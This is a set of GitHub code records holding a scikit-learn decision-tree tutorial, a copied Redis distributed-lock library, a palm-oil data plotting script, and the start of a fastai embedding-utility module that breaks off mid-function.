{"seq_id": "35243679891", "text": "#!/usr/bin/env python\n# -*- encoding: utf-8 -*-\n# @Time : 2020/6/17 0017 上午 9:51\n# @Author : West Field\n# @File : algo.py\n\nfrom sklearn import tree\nfrom sklearn.datasets import load_wine\nfrom sklearn.model_selection import train_test_split\nimport pandas as pd\nimport graphviz\nimport matplotlib.pyplot as plt\nfrom sklearn.datasets import load_boston\nfrom sklearn.model_selection import cross_val_score\nfrom sklearn.tree import DecisionTreeRegressor\nimport numpy as np\n\npd.set_option('display.max_columns', 20)  # a就是你要设置显示的最大列数参数\npd.set_option('display.max_rows', 100)  # b就是你要设置显示的最大的行数参数\npd.set_option('display.width', 1000)  # x就是你要设置的显示的宽度，防止轻易换行\n\n\ndef classify_tree():\n    ## 加载红酒数据集\n    wine = load_wine()\n    # print(type(wine), wine) # sklearn.utils.Bunch 字典，key是data, vale是target\n    print(wine.data.shape, wine.data)\n    print(wine.target)\n    # 把特征和标签拼接成表\n    data_table = pd.concat([pd.DataFrame(wine.data), pd.DataFrame(wine.target)], axis=1)\n    print(data_table)\n    # 特征名称、标签名称\n    print(wine.feature_names, wine.target_names)\n    # 划分数据集，train_test_split会随机划分数据集\n    Xtrain, Xtest, Ytrain, Ytest = train_test_split(wine.data, wine.target, test_size=0.3, random_state=30)\n    print(Xtrain.shape, Xtest.shape, Ytrain.shape, Ytest.shape)\n    ## 开始建模\n    clf = tree.DecisionTreeClassifier(criterion=\"entropy\",  # criterion用来设置不纯度的计算的，entropy是使用信息熵，gini是使用基尼系数\n                                      random_state=30,  # 决策树会随机的选取特征建模，使用random_state随机种子来固定。\n                                      splitter=\"random\")  # splitter是用来控制决策树中的随机选项的，best是决策树分支时优先使用更重要的特征进行分支，random是随机选择特征分支。\n    clf = clf.fit(Xtrain, Ytrain)  # 训练数据\n    score = clf.score(Xtest, Ytest)  # 返回预测的准确率accuracy\n    print(score)\n    ## 画树\n    feature_name = ['酒精', '苹果酸', '灰', '灰的碱性', '镁', '总酚', '类黄酮', '非黄烷类酚类', '花青素', '颜色强度', '色调', 'od280/od315稀释葡萄酒',\n                    '脯氨酸']\n    # dot_data = tree.export_graphviz(clf\n    #                                 , out_file='tree.dot'\n    #                                 , feature_names=feature_name\n    #                                 , class_names=[\"琴酒\", \"雪莉\", \"贝尔摩德\"]\n    #                                 , filled=True\n    #                                 , rounded=True\n    #                                 )\n    # with open(\"tree.dot\", encoding='utf-8') as f:\n    #     dot_graph = f.read()\n    # graph = graphviz.Source(dot_graph.replace(\"helvetica\", \"FangSong\"))\n    # graph.view()\n    # 决策树中使用到的特征的特征重要性\n    print(clf.feature_importances_)\n    print([*zip(feature_name, clf.feature_importances_)])\n    ## 剪枝参数，防止过拟合\n    score = clf.score(Xtrain, Ytrain)\n    print(score)\n    clf = tree.DecisionTreeClassifier(criterion=\"entropy\", random_state=30, splitter=\"random\",\n                                      max_depth=3,  # 树的最大深度\n                                      # min_samples_leaf=10, # 一个节点在分支后的每个子节点都必须包括至少min_samples_leaf个训练样本\n                                      # min_samples_split=25 # 一个节点至少包含min_samples_split个训练样本才允许被分支\n                                      )\n    clf = clf.fit(Xtrain, Ytrain)\n    # dot_data = tree.export_graphviz(clf\n    #                                 , out_file='tree.dot'\n    #                                 , feature_names=feature_name\n    #                                 , class_names=[\"琴酒\", \"雪莉\", \"贝尔摩德\"]\n    #                                 , filled=True\n    #                                 , rounded=True\n    #                                 )\n    # with open(\"tree.dot\", encoding='utf-8') as f:\n    #     dot_graph = f.read()\n    # graph = graphviz.Source(dot_graph.replace(\"helvetica\", \"FangSong\"))\n    # graph.view()\n    print(clf.score(Xtest, Ytest))\n    # 超参数学习，确认最优的剪枝参数\n    test = []\n    for i in range(10):\n        clf = tree.DecisionTreeClassifier(max_depth=i + 1,\n                                          criterion=\"entropy\",\n                                          random_state=30,\n                                          splitter=\"random\")\n        clf = clf.fit(Xtrain, Ytrain)\n        score = clf.score(Xtest, Ytest)\n        test.append(score)\n    plt.plot(range(1, 11), test, color=\"red\", label=\"max_depth\")\n    plt.legend()\n    plt.show()\n    ## 重要属性和接口，决策树结构接受的数据至少是一个二维矩阵\n    print(clf.apply(Xtest))  # apply返回每个测试样本所在的叶子节点的索引\n    print(clf.predict(Xtest))  # predict返回每个测试样本的分类/回归结果\n\n\ndef regression_tree():\n    ## 加载波士顿房价数据集\n    boston = load_boston()\n    # print(boston, boston.data.shape, boston.target.shape)\n    ## 实例化回归模型\n    regressor = DecisionTreeRegressor(random_state=0)\n    ## 交叉验证\n    score = cross_val_score(regressor, boston.data, boston.target, cv=10,\n                            scoring=\"neg_mean_squared_error\")  # 使用scoring衡量模型\n    print(score)\n    ## 一维回归的图像绘制\n    # 生成随机数种子\n    rng = np.random.RandomState()\n    # 生成80行1列的二维数据，应为回归树接受至少二维以上的数据\n    X = np.sort(5 * rng.rand(80, 1))  # rand生成0到1的数据\n    y = np.sin(X).ravel()  # 标签y只能是一维的，使用ravel降维\n    y[::5] += 3 * (0.5 - rng.rand(16))  # y的值每隔5个加上一个噪声\n    # 画散点图\n    plt.scatter(X, y, s=20, edgecolors=\"black\", c=\"darkorange\", label=\"data\")\n    plt.show()\n    # 建立两个模型，观察效果对比\n    regr_1 = DecisionTreeRegressor(max_depth=2)\n    regr_2 = DecisionTreeRegressor(max_depth=5)\n    regr_1.fit(X, y)\n    regr_2.fit(X, y)\n    # 测试\n    X_test = np.arange(0.0, 5.0, 0.01)[:, np.newaxis]  # np.newaxis是数据升维\n    y_1 = regr_1.predict(X_test)\n    y_2 = regr_2.predict(X_test)\n    # 画图\n    plt.figure()\n    plt.scatter(X, y, s=20, edgecolor=\"black\", c=\"darkorange\", label=\"data\")\n    plt.plot(X_test, y_1, color=\"cornflowerblue\", label=\"max_depth=2\", linewidth=2)\n    plt.plot(X_test, y_2, color=\"yellowgreen\", label=\"max_depth=5\", linewidth=2)\n    plt.xlabel(\"data\")\n    plt.ylabel(\"target\")\n    plt.title(\"Decision Tree Regression\")\n    plt.legend()\n    plt.show()\n\n\nif __name__ == \"__main__\":\n    # 分类树\n    classify_tree()\n    # 回归树\n    regression_tree()\n", "repo_name": "tsewdleif/algorithm_skill", "sub_path": "sklearn_caicai/decision_tree/algo.py", "file_name": "algo.py", "file_ext": "py", "file_size_in_byte": 6932, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pandas.set_option", "line_number": 18, "usage_type": "call"}, {"api_name": "pandas.set_option", "line_number": 19, "usage_type": "call"}, {"api_name": "pandas.set_option", "line_number": 20, "usage_type": "call"}, {"api_name": "sklearn.datasets.load_wine", "line_number": 25, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 30, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 30, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 35, "usage_type": "call"}, {"api_name": "sklearn.tree.DecisionTreeClassifier", "line_number": 38, "usage_type": "call"}, {"api_name": "sklearn.tree", "line_number": 38, "usage_type": "name"}, {"api_name": "sklearn.tree.DecisionTreeClassifier", "line_number": 64, "usage_type": "call"}, {"api_name": "sklearn.tree", "line_number": 64, "usage_type": "name"}, {"api_name": "sklearn.tree.DecisionTreeClassifier", "line_number": 85, "usage_type": "call"}, {"api_name": "sklearn.tree", "line_number": 85, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 92, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 92, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 93, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 93, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 94, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 94, "usage_type": "name"}, {"api_name": "sklearn.datasets.load_boston", "line_number": 102, "usage_type": "call"}, {"api_name": "sklearn.tree.DecisionTreeRegressor", "line_number": 105, "usage_type": "call"}, {"api_name": "sklearn.model_selection.cross_val_score", "line_number": 107, "usage_type": "call"}, {"api_name": "numpy.random.RandomState", "line_number": 112, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 112, "usage_type": "attribute"}, {"api_name": "numpy.sort", "line_number": 114, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 115, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 118, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 118, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 119, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 119, "usage_type": "name"}, {"api_name": "sklearn.tree.DecisionTreeRegressor", "line_number": 121, "usage_type": "call"}, {"api_name": "sklearn.tree.DecisionTreeRegressor", "line_number": 122, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 126, "usage_type": "call"}, {"api_name": "numpy.newaxis", "line_number": 126, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 130, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 130, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 131, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 131, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 132, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 132, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 133, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 133, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 134, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 134, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 135, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 135, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 136, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 136, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 137, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 137, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 138, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 138, "usage_type": "name"}]}
{"seq_id": "871454449", "text": "'https://github.com/ionelmc/python-redis-lock'\n\n\nimport sys\nimport threading\nimport weakref\nfrom base64 import b64encode\nfrom logging import getLogger\nfrom os import urandom\n\nfrom redis import StrictRedis\n\n__version__ = '3.7.0'\n\"\"\"\nloggers = {\n    k: getLogger(\".\".join((__name__, k)))\n    for k in [\n        \"acquire\",\n        \"refresh.thread.start\",\n        \"refresh.thread.stop\",\n        \"refresh.thread.exit\",\n        \"refresh.start\",\n        \"refresh.shutdown\",\n        \"refresh.exit\",\n        \"release\",\n    ]\n}\n\"\"\"\n\nPY3 = sys.version_info[0] == 3\n\nif PY3:\n    text_type = str\n    binary_type = bytes\nelse:\n    text_type = unicode  # noqa\n    binary_type = str\n\n\n# Check if the id match. If not, return an error code.\nUNLOCK_SCRIPT = b\"\"\"\n    if redis.call(\"get\", KEYS[1]) ~= ARGV[1] then\n        return 1\n    else\n        redis.call(\"del\", KEYS[2])\n        redis.call(\"lpush\", KEYS[2], 1)\n        redis.call(\"pexpire\", KEYS[2], ARGV[2])\n        redis.call(\"del\", KEYS[1])\n        return 0\n    end\n\"\"\"\n\n# Covers both cases when key doesn't exist and doesn't equal to lock's id\nEXTEND_SCRIPT = b\"\"\"\n    if redis.call(\"get\", KEYS[1]) ~= ARGV[1] then\n        return 1\n    elseif redis.call(\"ttl\", KEYS[1]) < 0 then\n        return 2\n    else\n        redis.call(\"expire\", KEYS[1], ARGV[2])\n        return 0\n    end\n\"\"\"\n\nRESET_SCRIPT = b\"\"\"\n    redis.call('del', KEYS[2])\n    redis.call('lpush', KEYS[2], 1)\n    redis.call('pexpire', KEYS[2], ARGV[2])\n    return redis.call('del', KEYS[1])\n\"\"\"\n\nRESET_ALL_SCRIPT = b\"\"\"\n    local locks = redis.call('keys', 'lock:*')\n    local signal\n    for _, lock in pairs(locks) do\n        signal = 'lock-signal:' .. string.sub(lock, 6)\n        redis.call('del', signal)\n        redis.call('lpush', signal, 1)\n        redis.call('expire', signal, 1)\n        redis.call('del', lock)\n    end\n    return #locks\n\"\"\"\n\n\nclass AlreadyAcquired(RuntimeError):\n    pass\n\n\nclass NotAcquired(RuntimeError):\n    pass\n\n\nclass AlreadyStarted(RuntimeError):\n    pass\n\n\nclass TimeoutNotUsable(RuntimeError):\n    pass\n\n\nclass InvalidTimeout(RuntimeError):\n    pass\n\n\nclass TimeoutTooLarge(RuntimeError):\n    pass\n\n\nclass NotExpirable(RuntimeError):\n    pass\n\n\nclass Lock(object):\n    \"\"\"\n    A Lock context manager implemented via redis SETNX/BLPOP.\n    \"\"\"\n    unlock_script = None\n    extend_script = None\n    reset_script = None\n    reset_all_script = None\n\n    def __init__(self, redis_client, name, expire=None, id=None, auto_renewal=False, strict=True, signal_expire=1000):\n        \"\"\"\n        :param redis_client:\n            An instance of :class:`~StrictRedis`.\n        :param name:\n            The name (redis key) the lock should have.\n        :param expire:\n            The lock expiry time in seconds. If left at the default (None)\n            the lock will not expire.\n        :param id:\n            The ID (redis value) the lock should have. A random value is\n            generated when left at the default.\n\n            Note that if you specify this then the lock is marked as \"held\". Acquires\n            won't be possible.\n        :param auto_renewal:\n            If set to ``True``, Lock will automatically renew the lock so that it\n            doesn't expire for as long as the lock is held (acquire() called\n            or running in a context manager).\n\n            Implementation note: Renewal will happen using a daemon thread with\n            an interval of ``expire*2/3``. If wishing to use a different renewal\n            time, subclass Lock, call ``super().__init__()`` then set\n            ``self._lock_renewal_interval`` to your desired interval.\n        :param strict:\n            If set ``True`` then the ``redis_client`` needs to be an instance of ``redis.StrictRedis``.\n        :param signal_expire:\n            Advanced option to override signal list expiration in milliseconds. Increase it for very slow clients. Default: ``1000``.\n        \"\"\"\n        if strict and not isinstance(redis_client, StrictRedis):\n            raise ValueError(\"redis_client must be instance of StrictRedis. \"\n                             \"Use strict=False if you know what you're doing.\")\n        if auto_renewal and expire is None:\n            raise ValueError(\"Expire may not be None when auto_renewal is set\")\n\n        self._client = redis_client\n\n        if expire:\n            expire = int(expire)\n            if expire < 0:\n                raise ValueError(\"A negative expire is not acceptable.\")\n        else:\n            expire = None\n        self._expire = expire\n\n        self._signal_expire = signal_expire\n        if id is None:\n            self._id = b64encode(urandom(18)).decode('ascii')\n        elif isinstance(id, binary_type):\n            try:\n                self._id = id.decode('ascii')\n            except UnicodeDecodeError:\n                self._id = b64encode(id).decode('ascii')\n        elif isinstance(id, text_type):\n            self._id = id\n        else:\n            raise TypeError(\"Incorrect type for `id`. Must be bytes/str not %s.\" % type(id))\n        self._name = 'lock:' + name\n        self._signal = 'lock-signal:' + name\n        self._lock_renewal_interval = (float(expire) * 2 / 3\n                                       if auto_renewal\n                                       else None)\n        self._lock_renewal_thread = None\n\n        self.register_scripts(redis_client)\n\n    @classmethod\n    def register_scripts(cls, redis_client):\n        global reset_all_script\n        if reset_all_script is None:\n            reset_all_script = redis_client.register_script(RESET_ALL_SCRIPT)\n            cls.unlock_script = redis_client.register_script(UNLOCK_SCRIPT)\n            cls.extend_script = redis_client.register_script(EXTEND_SCRIPT)\n            cls.reset_script = redis_client.register_script(RESET_SCRIPT)\n            cls.reset_all_script = redis_client.register_script(RESET_ALL_SCRIPT)\n\n    @property\n    def _held(self):\n        return self.id == self.get_owner_id()\n\n    def reset(self):\n        \"\"\"\n        Forcibly deletes the lock. Use this with care.\n        \"\"\"\n        self.reset_script(client=self._client, keys=(self._name, self._signal), args=(self.id, self._signal_expire))\n\n    @property\n    def id(self):\n        return self._id\n\n    def get_owner_id(self):\n        owner_id = self._client.get(self._name)\n        if isinstance(owner_id, binary_type):\n            owner_id = owner_id.decode('ascii', 'replace')\n        return owner_id\n\n    def acquire(self, blocking=True, timeout=None):\n        \"\"\"\n        :param blocking:\n            Boolean value specifying whether lock should be blocking or not.\n        :param timeout:\n            An integer value specifying the maximum number of seconds to block.\n        \"\"\"\n       # logger = loggers[\"acquire\"]\n\n       # logger.debug(\"Getting %r ...\", self._name)\n\n        if self._held:\n            raise AlreadyAcquired(\"Already acquired from this Lock instance.\")\n\n        if not blocking and timeout is not None:\n            raise TimeoutNotUsable(\"Timeout cannot be used if blocking=False\")\n\n        if timeout:\n            timeout = int(timeout)\n            if timeout < 0:\n                raise InvalidTimeout(\"Timeout (%d) cannot be less than or equal to 0\" % timeout)\n\n            if self._expire and not self._lock_renewal_interval and timeout > self._expire:\n                raise TimeoutTooLarge(\"Timeout (%d) cannot be greater than expire (%d)\" % (timeout, self._expire))\n\n        busy = True\n        blpop_timeout = timeout or self._expire or 0\n        timed_out = False\n        while busy:\n            busy = not self._client.set(self._name, self._id, nx=True, ex=self._expire)\n            if busy:\n                if timed_out:\n                    return False\n                elif blocking:\n                    timed_out = not self._client.blpop(self._signal, blpop_timeout) and timeout\n                else:\n                  #  logger.warning(\"Failed to get %r.\", self._name)\n                    return False\n\n      #  logger.info(\"Got lock for %r.\", self._name)\n        if self._lock_renewal_interval is not None:\n            self._start_lock_renewer()\n        return True\n\n    def extend(self, expire=None):\n        \"\"\"Extends expiration time of the lock.\n\n        :param expire:\n            New expiration time. If ``None`` - `expire` provided during\n            lock initialization will be taken.\n        \"\"\"\n        if expire:\n            expire = int(expire)\n            if expire < 0:\n                raise ValueError(\"A negative expire is not acceptable.\")\n        elif self._expire is not None:\n            expire = self._expire\n        else:\n            raise TypeError(\n                \"To extend a lock 'expire' must be provided as an \"\n                \"argument to extend() method or at initialization time.\"\n            )\n\n        error = self.extend_script(client=self._client, keys=(self._name, self._signal), args=(self._id, expire))\n        if error == 1:\n            raise NotAcquired(\"Lock %s is not acquired or it already expired.\" % self._name)\n        elif error == 2:\n            raise NotExpirable(\"Lock %s has no assigned expiration time\" % self._name)\n        elif error:\n            raise RuntimeError(\"Unsupported error code %s from EXTEND script\" % error)\n\n    @staticmethod\n    def _lock_renewer(lockref, interval, stop):\n        \"\"\"\n        Renew the lock key in redis every `interval` seconds for as long\n        as `self._lock_renewal_thread.should_exit` is False.\n        \"\"\"\n        while not stop.wait(timeout=interval):\n         #   loggers[\"refresh.thread.start\"].debug(\"Refreshing lock\")\n            lock = lockref()\n            if lock is None:\n          #      loggers[\"refresh.thread.stop\"].debug(\n             #       \"The lock no longer exists, stopping lock refreshing\"\n            #    )\n                break\n            lock.extend(expire=lock._expire)\n            del lock\n       # loggers[\"refresh.thread.exit\"].debug(\"Exit requested, stopping lock refreshing\")\n\n    def _start_lock_renewer(self):\n        \"\"\"\n        Starts the lock refresher thread.\n        \"\"\"\n        if self._lock_renewal_thread is not None:\n            raise AlreadyStarted(\"Lock refresh thread already started\")\n\n       # loggers[\"refresh.start\"].debug(\n       #     \"Starting thread to refresh lock every %s seconds\",\n       #     self._lock_renewal_interval\n       # )\n        self._lock_renewal_stop = threading.Event()\n        self._lock_renewal_thread = threading.Thread(\n            group=None,\n            target=self._lock_renewer,\n            kwargs={'lockref': weakref.ref(self),\n                    'interval': self._lock_renewal_interval,\n                    'stop': self._lock_renewal_stop}\n        )\n        self._lock_renewal_thread.setDaemon(True)\n        self._lock_renewal_thread.start()\n\n    def _stop_lock_renewer(self):\n        \"\"\"\n        Stop the lock renewer.\n\n        This signals the renewal thread and waits for its exit.\n        \"\"\"\n        if self._lock_renewal_thread is None or not self._lock_renewal_thread.is_alive():\n            return\n      #  loggers[\"refresh.shutdown\"].debug(\"Signalling the lock refresher to stop\")\n        self._lock_renewal_stop.set()\n        self._lock_renewal_thread.join()\n        self._lock_renewal_thread = None\n       # loggers[\"refresh.exit\"].debug(\"Lock refresher has stopped\")\n\n    def __enter__(self):\n        acquired = self.acquire(blocking=True)\n        assert acquired, \"Lock wasn't acquired, but blocking=True\"\n        return self\n\n    def __exit__(self, exc_type=None, exc_value=None, traceback=None):\n        self.release()\n\n    def release(self):\n        \"\"\"Releases the lock, that was acquired with the same object.\n\n        .. note::\n\n            If you want to release a lock that you acquired in a different place you have two choices:\n\n            * Use ``Lock(\"name\", id=id_from_other_place).release()``\n            * Use ``Lock(\"name\").reset()``\n        \"\"\"\n        if self._lock_renewal_thread is not None:\n            self._stop_lock_renewer()\n        #loggers[\"release\"].debug(\"Releasing %r.\", self._name)\n        error = self.unlock_script(client=self._client, keys=(self._name, self._signal), args=(self._id, self._signal_expire))\n        if error == 1:\n            raise NotAcquired(\"Lock %s is not acquired or it already expired.\" % self._name)\n        elif error:\n            raise RuntimeError(\"Unsupported error code %s from EXTEND script.\" % error)\n\n    def locked(self):\n        \"\"\"\n        Return true if the lock is acquired.\n\n        Checks that lock with same name already exists. This method returns true, even if\n        lock have another id.\n        \"\"\"\n        return self._client.exists(self._name) == 1\n\n\nreset_all_script = None\n\n\ndef reset_all(redis_client):\n    \"\"\"\n    Forcibly deletes all locks if its remains (like a crash reason). Use this with care.\n\n    :param redis_client:\n        An instance of :class:`~StrictRedis`.\n    \"\"\"\n    Lock.register_scripts(redis_client)\n\n    reset_all_script(client=redis_client)  # noqa\n", "repo_name": "Flojo-der-erste/katti", "sub_path": "source_code/redis_lock/__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 13008, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "78", "api": [{"api_name": "sys.version_info", "line_number": 30, "usage_type": "attribute"}, {"api_name": "redis.StrictRedis", "line_number": 152, "usage_type": "argument"}, {"api_name": "base64.b64encode", "line_number": 170, "usage_type": "call"}, {"api_name": "os.urandom", "line_number": 170, "usage_type": "call"}, {"api_name": "base64.b64encode", "line_number": 175, "usage_type": "call"}, {"api_name": "threading.Event", "line_number": 319, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 320, "usage_type": "call"}, {"api_name": "weakref.ref", "line_number": 323, "usage_type": "call"}]}
{"seq_id": "28671923808", "text": "import os;\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport warnings\n\nfrom helper import prepare_production\nfrom helper import forecast_err\n\nfrom import_helper import getProduction, getArea, getRainfalls\n\n\n\ndef data_plot():\n    #------- production\n    production = getProduction(fileName)\n\n    #make a little extra space between the subplots\n\n    for r in regions:\n        plt.plot(production['Date'], production[r], label=r) #, marker='o'\n \n    plt.title('Production vs time')\n    plt.xlabel('Time')\n    plt.ylabel('Production')\n    plt.grid(True)\n    plt.legend(loc='upper left')\n    plt.show()\n    \n    ##------- area \n    area = getArea(fileName)\n    for r in regions:\n        plt.plot(area['Year'], area[r], label=r) #, marker='o'\n\n    plt.title('Area vs year')\n    plt.xlabel('Year')\n    plt.ylabel('Area')\n    plt.grid(True)\n    plt.legend(loc='upper left')\n    plt.show()\n\n    #rainfalls\n    rainfalls = getRainfalls(fileName)\n\n    rainfalls.reset_index()\n    for r in regions:\n        plt.plot(rainfalls.index, rainfalls[r], label=r) #, marker='o'\n\n    plt.title('Rainfalls vs time')\n    plt.xlabel('Time')\n    plt.ylabel('Rainfalls')\n    plt.grid(True)\n    plt.legend(loc='upper left')\n    plt.show()\n\n    #EMA\n    reg_name = 'JHR'\n    production[reg_name].plot(label = reg_name)\n    production[reg_name].ewm(span=5).mean().plot(label='EMA5')\n    production[reg_name].ewm(span=10).mean().plot(label='EMA10')\n    production[reg_name].ewm(span=20).mean().plot(label='EMA20')\n    plt.title(reg_name + ' and EMAs')\n    plt.legend(loc='upper left')\n    plt.show()\n\n\ndirname = os.path.dirname(__file__)\nfileName = os.path.join(dirname, 'data/palm.xlsx')\nregions = ['JHR', 'PHG', 'PRK', 'SBH', 'SWK', 'OTHERPEN']\n\ndata_plot()\n", "repo_name": "illia-alifanov/ds_palm_oil", "sub_path": "prod_plot.py", "file_name": "prod_plot.py", "file_ext": "py", "file_size_in_byte": 1758, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "import_helper.getProduction", "line_number": 16, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 21, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 21, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 23, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 23, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 24, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 24, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 25, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 25, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 26, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 26, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 27, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 27, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 28, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 28, "usage_type": "name"}, {"api_name": "import_helper.getArea", "line_number": 31, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 33, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 33, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 35, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 35, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 36, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 36, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 37, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 37, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 38, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 38, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 39, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 39, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 40, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 40, "usage_type": "name"}, {"api_name": "import_helper.getRainfalls", "line_number": 43, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 47, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 47, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 49, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 49, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 50, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 50, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 51, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 51, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 52, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 52, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 53, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 53, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 54, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 54, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 62, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 62, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 63, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 63, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 64, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 64, "usage_type": "name"}, {"api_name": "os.path.dirname", "line_number": 67, "usage_type": "call"}, {"api_name": "os.path", "line_number": 67, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 68, "usage_type": "call"}, {"api_name": "os.path", "line_number": 68, "usage_type": "attribute"}]}
{"seq_id": "71828559293", "text": "from fastai.vision import *\nfrom torchvision import datasets, transforms\nfrom torch import nn\nimport PIL\nimport subprocess\nfrom tqdm import tqdm\nfrom sklearn import metrics\nfrom collections import defaultdict\nfrom dlcliche.data import *\nfrom dlcliche.math import *\nfrom dlcliche.fastai import *\nfrom util_visualize import *\n\n\ndef delete_saved_models(data_path):\n    print(f'Deleting *.pth under {Path(data_path).absolute()}...')\n    subprocess.Popen(['find', str(Path(data_path).absolute()), '-name', '*.pth', '-delete'])\n\n\nclass Normalize(nn.Module):\n    def __init__(self):\n        super().__init__()\n\n    def forward(self, input):\n        return F.normalize(input)\n\n\ndef body_feature_model(model, normalize=False):\n    \"\"\"\n    Returns a model that output flattened features directly from CNN body.\n    \"\"\"\n    try:\n        body, head = list(model.org_model.children()) # For XXNet defined in this notebook\n    except:\n        body, head = list(model.children()) # For original pytorch model\n    return nn.Sequential(body, nn.Sequential(head[:-1], Normalize()) if normalize else head[:-1])\n\n\ndef get_embeddings(embedding_model, data_loader, label_catcher=None, return_y=False):\n    \"\"\"\n    Calculate embeddings for all samples in a data_loader.\n    \n    Args:\n        label_catcher: LearnerCallback for keeping last batch labels.\n        return_y: Also returns labels, for working with training set.\n    \"\"\"\n    embedding_model.eval()\n    embs, ys = [], []\n    for X, y in data_loader:\n        # For each batch (X, y),\n        #   Set labels (y) if label_catcher's there.\n        if label_catcher:\n            label_catcher.on_batch_begin(X, y, train=False)\n        #  